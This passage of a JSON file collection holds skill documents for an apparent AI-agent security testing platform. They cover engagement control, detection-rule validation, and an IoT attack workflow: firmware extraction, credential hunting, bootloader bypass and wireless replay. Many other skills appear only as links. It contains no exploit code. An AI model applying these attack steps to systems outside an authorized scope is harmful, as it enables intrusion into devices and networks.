tier |\n|--------------------------------|--------------------|\n| Loss of user funds | Critical (9.8+) |\n| Locked funds / permanent DoS | High (7.5-9.0) |\n| Temporary DoS / griefing | Medium (5-7) |\n| View-only data leak | Low (3-5) |\n","integrations/agent-skills/decepticon/SKILL.md":"---\nname: decepticon\ndescription: \"Operate Decepticon OSS through its installed CLI and engagement MCP tools when the user asks to run or inspect an authorized security engagement or a local Blue Cell. Do not use for unrelated security questions or raw scanner commands.\"\nlicense: Apache-2.0\nmetadata:\n version: 2.1.0\n homepage: \"https://github.com/BitterSecurity/Decepticon\"\n---\n\n# Decepticon operator\n\nUse Decepticon as the user's security platform. The host `decepticon` command\nmanages the installation and opens an interactive CLI. The registered MCP\nserver exposes engagement control and observation to coding agents. These\ninterfaces cover different operations; choose the one that actually exists.\n\n## Connect\n\n1. Check `decepticon status`. If the installation is missing, the user can run\n `decepticon onboard`. `decepticon start` starts services and opens the\n interactive terminal; it is not a headless scan command.\n2. For MCP, confirm `decepticon_list_graphs` works. A connection error means\n the stack or MCP registration needs attention. See the\n [integration guide](https://github.com/BitterSecurity/Decepticon/blob/main/docs/integrations/external-agents.md) for\n Claude Code and Codex registration.\n3. The user can install this skill for both clients with\n `decepticon skill install` after a release containing that command.\n\n## Choose the operation\n\n| Request | Supported surface |\n|---|---|\n| Discover agents, list engagements, read status or a compact state summary | MCP `decepticon_list_graphs`, `decepticon_list_engagements`, `decepticon_engagement_status`, `decepticon_engagement_state` |\n| Watch an engagement | MCP `decepticon_transcript` with `next_index`; `decepticon_watch` for a bounded live sample |\n| Send a follow-up or stop a run | MCP `decepticon_send_message` or `decepticon_cancel_engagement` |\n| Onboard, start, stop, update, inspect services | Host `decepticon` command |\n| Start or stop a local Blue Cell sensor | Interactive CLI `/blue up`, `/blue stop` |\n| Inspect a running Blue Cell | MCP `decepticon_blue_status`, `decepticon_blue_sources`, `decepticon_blue_events`, `decepticon_blue_incidents`, `decepticon_blue_notifications`, `decepticon_blue_body`, `decepticon_blue_search`, `decepticon_blue_timeline`; interactive CLI `/blue verify` and `/blue analyze` |\n| List or toggle agent plugin bundles | MCP `decepticon_plugin_bundles`, `decepticon_plugin_enable`, `decepticon_plugin_disable`; interactive CLI `/plugins` |\n| Control web dashboard or select the active CLI agent | Interactive CLI `/web`, `/agent` |\n\nDo not invent MCP tools for Blue Cell setup or service\nmanagement. The slash commands above work inside Decepticon's interactive\nterminal, not in the shell or the MCP bridge.\n\n- Poll `decepticon_blue_events` with its `next_after` cursor and\n `decepticon_blue_notifications` with its separate `next_after` cursor.\n- Check `decepticon_blue_status` for collector and monitor health before\n interpreting missing events. Cite exact incident IDs and event sequences.\n\n## Engagement workflow\n\n- Obtain the user's explicit target scope and rules of engagement before any\n active testing. State both included and excluded assets. Do not infer\n authorization from a URL or repository path.\n- For an existing CLI engagement, call `decepticon_list_engagements`, identify\n its `thread_id`, then read `decepticon_engagement_state` and\n `decepticon_transcript`. Keep the returned `next_index` for later reads.\n- `decepticon_start_engagement` binds the run to a workspace via\n `workspace_path` (default `/workspace`). To share the workspace binding the\n interactive CLI selected, pass the same binding explicitly — the binding is\n returned in the result's `workspace_path` field. A non-default binding must\n be the engagement's own directory (final segment = `engagement_name`, e.g.\n `/workspace/`); anything else is rejected so one\n engagement's run cannot write into another engagement's workspace. The run\n still requires the workspace mapping on the server to exist and be\n authorized for that engagement; when in doubt, start the engagement in the\n interactive CLI and observe its thread through MCP.\n- Engagement `targets` are network assets (URLs, hosts, CIDRs, globs, git\n remotes). A local repository path is not a valid target — the standalone\n SAST/CI entry was removed (issue #1059); code analysis happens inside an\n engagement once the operation itself obtains the source, with the code\n mounted or fetched as part of that engagement's workflow.\n- `decepticon_send_message` queues a new turn behind an active run. Do not tell\n the user it changed the current execution until a subsequent transcript or\n state confirms the effect.\n- `decepticon_engagement_findings` reads a persisted `graph.json` only. An\n `available=false` result does not prove the absence of findings. For an\n installed CLI engagement, inspect the selected host workspace's\n `findings/FIND-*.md` and `report/` artifacts when available. Cite the\n actual artifact and verification status; do not invent a SARIF result.\n- If a run is interrupted or fails, read the latest transcript and status\n before retrying. Stop polling when the user has the requested update or\n the run reaches a terminal state.\n\nRead [reference.md](reference.md) for exact MCP arguments and\n[examples.md](examples.md) for CLI and MCP handoffs.\n","packages/decepticon/decepticon/skills/standard/dfir/SKILL.md":"---\nname: dfir-overview\ndescription: >\n Use to close the Offensive Vaccine loop on the defender side. The Detector\n agent produces Sigma / YARA rules from offensive operations; this catalog\n validates those rules against real memory dumps, event logs, and forensic\n artifacts using Volatility 3, plaso, and sigma-cli. Without this catalog,\n detection rules are theoretical.\nmetadata:\n skillogy:\n version: 1\n subdomain: dfir\n when_to_use: \"dfir validation sigma yara volatility plaso memory dump event log forensic artifact detection rule blue team\"\n tags: dfir, memory, volatility, plaso, sigma, validation, blue-team\n upstream_ref: \"Sigma rules + YARA + Volatility 3 + plaso — detection-rule validation harness for the Offensive Vaccine loop\"\n---\n\n# Forensicator / DFIR Skill Catalog\n\nDecepticon emits attacks AND detection rules. This catalog feeds the\ndetection rules back through real forensic artifacts to confirm they fire\n— closing the Offensive Vaccine loop on the operations side.\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the validation guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **volatility-windows** | Volatility 3 Windows plugins: pslist, malfind, cmdline, netscan, dlllist, handles |\n| **volatility-linux** | Volatility 3 Linux: linux.pslist, linux.bash, linux.malfind |\n| **plaso-timeline** | psort + log2timeline; super-timeline construction; Sigma matchers on the timeline |\n| **sigma-cli-validation** | sigma-cli convert + match against captured event logs |\n| **yara-scan** | yara-x scan against memory dumps and disk images |\n| **event-log-mining** | Windows Event Log (.evtx) extraction + key event ID reference |\n| **etw-trace** | ETW provider triage; .etl file extraction |\n| **edr-validation** | Replay an attack against a target with Velociraptor / OSQuery active; capture artifacts |\n\n## Detection validation\n\n- Collect the event log from the relevant host at attack time, along with\n the detection rule and expected event pattern (for example, event 4662\n with the relevant `ControlAccessRights`).\n- Run `sigma-cli convert --target sqlite` and match against the log file.\n A zero match count requires checking the rule and artifact coverage;\n matches provide evidence that the rule detects the captured activity.\n- Record the match count and supporting forensic artifacts in the\n engagement knowledge graph.\n- For patch-regression validation, verify whether the rule still fires\n on attempted exploitation of the patched build.\n\n## Tools sandbox\n\n- Volatility 3 (`vol`, `volshell`) — already in operator's AGENTS.md tooling.\n- plaso (`log2timeline`, `psort`).\n- sigma-cli (`sigma convert`, `sigma check`).\n- yara-x (`yr`) — operator already has it installed at `C:\\Tools\\yara-x\\yr.exe`.\n- Velociraptor + OSQuery (for live-system validation paths).\n\n## Why this is differentiating\n\nStrix doesn't have this. XBOW doesn't have this. The \"Offensive Vaccine\"\npromise (every attack becomes a defense improvement) is only deliverable\nwhen someone validates the detection. Without Forensicator, the loop\nstops at \"rule written\". With it, the loop completes at \"rule verified to\nfire on this attack class against this client's stack\".\n","packages/decepticon/decepticon/skills/standard/iot/SKILL.md":"---\nname: iot-overview\ndescription: >\n Use when the engagement target is IoT, embedded Linux, RTOS, or any device\n reachable via UART/JTAG/SWD or by extracting its firmware. Covers firmware\n acquisition, binwalk extraction, filesystem mounting, default-credential\n hunting, bootloader attacks, wireless protocol sidebands (BLE, Zigbee,\n Z-Wave, LoRaWAN, sub-GHz).\nmetadata:\n subdomain: iot\n when_to_use: \"iot embedded linux rtos uart jtag swd firmware binwalk filesystem bootloader ble zigbee z-wave lorawan sub-ghz wireless\"\n tags: iot, firmware, embedded, binwalk, uart, jtag, ble, zigbee\n mitre_attack: T1542, T1542.005, T1601, T1499.004\n---\n\n# IoT / Embedded Operator Skill Catalog\n\nThis catalog covers the surface area between hardware reconnaissance and\nruntime exploitation of IoT and embedded targets. Wireless sidebands\n(BLE / Zigbee / Z-Wave / LoRaWAN / sub-GHz) live alongside firmware-level\nattacks because IoT engagements routinely chain across both.\n\n## Playbooks\n\n| Skill | Use for |\n|---|---|\n| `/skills/standard/iot/firmware-acquisition/SKILL.md` | Vendor portals, OTA capture, SPI flash dump, eMMC chip-off |\n| `/skills/standard/iot/binwalk-extract/SKILL.md` | binwalk + firmware-mod-kit extraction; squashfs / jffs2 mount |\n| `/skills/standard/iot/hardcoded-creds/SKILL.md` | Strings, shadow, busybox httpd, telnet logs |\n| `/skills/standard/iot/bootloader-uboot/SKILL.md` | U-Boot console interrupt; environment variables; secure-boot bypass |\n| `/skills/standard/iot/dev-mem/SKILL.md` | /dev/mem, /dev/kmem, MTD writes on embedded Linux |\n| `/skills/standard/iot/ble-gatt/SKILL.md` | GATT enumeration, characteristic read/write without auth, pairing downgrade |\n| `/skills/standard/iot/zigbee-touchlink/SKILL.md` | Touchlink commissioning abuse, well-known transport key, ZCL command abuse |\n| `/skills/standard/iot/z-wave/SKILL.md` | S0 derivation flaw, S2 ECDH analysis, replay on unauthenticated nodes |\n| `/skills/standard/iot/lorawan-otaa/SKILL.md` | OTAA join, frame-counter replay, downlink injection |\n| `/skills/standard/iot/sub-ghz/SKILL.md` | 433/868/915 MHz capture + replay (HackRF, Flipper Zero, RTL-SDR) |\n\n## Workflow\n\n1. **Inventory hardware**: photograph PCB; identify SoC, flash, debug pads\n (UART = 4-pin pattern; JTAG = TAP; SWD = 2-pin SWDIO/SWCLK).\n2. **Acquire firmware**: vendor update portal first; OTA proxy capture\n second; SPI flash dump third; eMMC chip-off last.\n3. **Extract**: `binwalk -eM `, then mount squashfs / jffs2 / ubifs.\n4. **Triage**: search strings for credentials, AWS keys, MQTT topics, hardcoded\n IPs; identify backdoor accounts (busybox /etc/passwd, telnet/SSH stanzas).\n5. **Wireless co-channels**: if the device speaks BLE / Zigbee / Z-Wave /\n LoRaWAN, capture commissioning, replay, attempt key extraction.\n6. **Cloud-IoT**: if the device backhauls to a vendor cloud, pivot to the\n mobile companion app and the cloud API.\n\n## Hardware bench tools (sandbox tools)\n\n- Logic analyzer: Saleae Pro 8 / Sigrok PulseView.\n- Flash interface: ch341a + SOIC clip.\n- Debug interface: BusPirate v5, J-Link, Black Magic Probe.\n- Glitching: ChipWhisperer-Nano / Pico.\n- Wireless: HackRF One, Sonoff Zigbee 3.0 Dongle E, RTL-SDR Blog v4.\n\n## Safety\n\nIoT engagements often touch consumer devices that the operator owns but\nthat have shared cloud accounts (vendor telemetry). RoE must enumerate\nwhich clouds may be probed. ConOps `blue_team` field should declare the\nvendor IR contact when in scope so a fail-safe trip can be reported.\n","packages/decepticon/decepticon/skills/standard/cloud/SKILL.md":"# cloud\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/SKILL.md":"# analyst\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/SKILL.md":"# ad\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/SKILL.md)","packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md":"# stealth-infra\n\nPath: `packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md)","packages/decepticon/decepticon/skills/shared/references/SKILL.md":"# references\n\nPath: `packages/decepticon/decepticon/skills/shared/references/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/references/SKILL.md)","packages/decepticon/decepticon/skills/shared/opsec/SKILL.md":"# opsec\n\nPath: `packages/decepticon/decepticon/skills/shared/opsec/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/opsec/SKILL.md)","packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md":"# finding-protocol\n\nPath: `packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md)","packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md":"# defense-evasion\n\nPath: `packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md":"# adversary-emulation\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md)","packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md":"# vulnresearch\n\nPath: `packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md)","packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md":"# verifier\n\nPath: `packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md)","packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md":"# scanner\n\nPath: `packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md)","packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md":"# patcher\n\nPath: `packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md":"# llm-redteam\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md)","packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md":"# exploiter\n\nPath: `packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md)","packages/decepticon/decepticon/skills/plugins/detector/SKILL.md":"# detector\n\nPath: `packages/decepticon/decepticon/skills/plugins/detector/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/detector/SKILL.md)","packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md)","packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md":"# krack-fragattacks\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md":"# evil-twin-karma\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md":"# deauth-pmf\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md":"# wpa-enterprise-eap\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md":"# wpa2-psk\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md":"# wpa3-sae\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md":"# wps-pixie-dust\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md":"# threat-profile\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md":"# structured-questions\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md":"# roe-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md":"# opplan-converter\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md":"# data-handling-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md":"# contact-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md":"# conops-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md":"# cleanup-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md":"# abort-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md":"# rop-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md":"# rootkit-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md":"# ransomware-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md":"# packer-unpacking\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md":"# malware-triage\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md":"# ios-static\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md":"# ghidra\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md":"# fuzzing\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md":"# firmware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md":"# fileless-malware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md":"# dotnet-malware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md":"# deep-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md":"# ctf-triage\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md":"# anti-debug-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md":"# android-malware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md":"# triage\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md":"# virtualized-protectors\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md":"# yara-hunting\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md":"# wireless-security\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md":"# web-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md":"# reporting\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md":"# passive-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md":"# osint\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md`\n\n[View Raw Content on 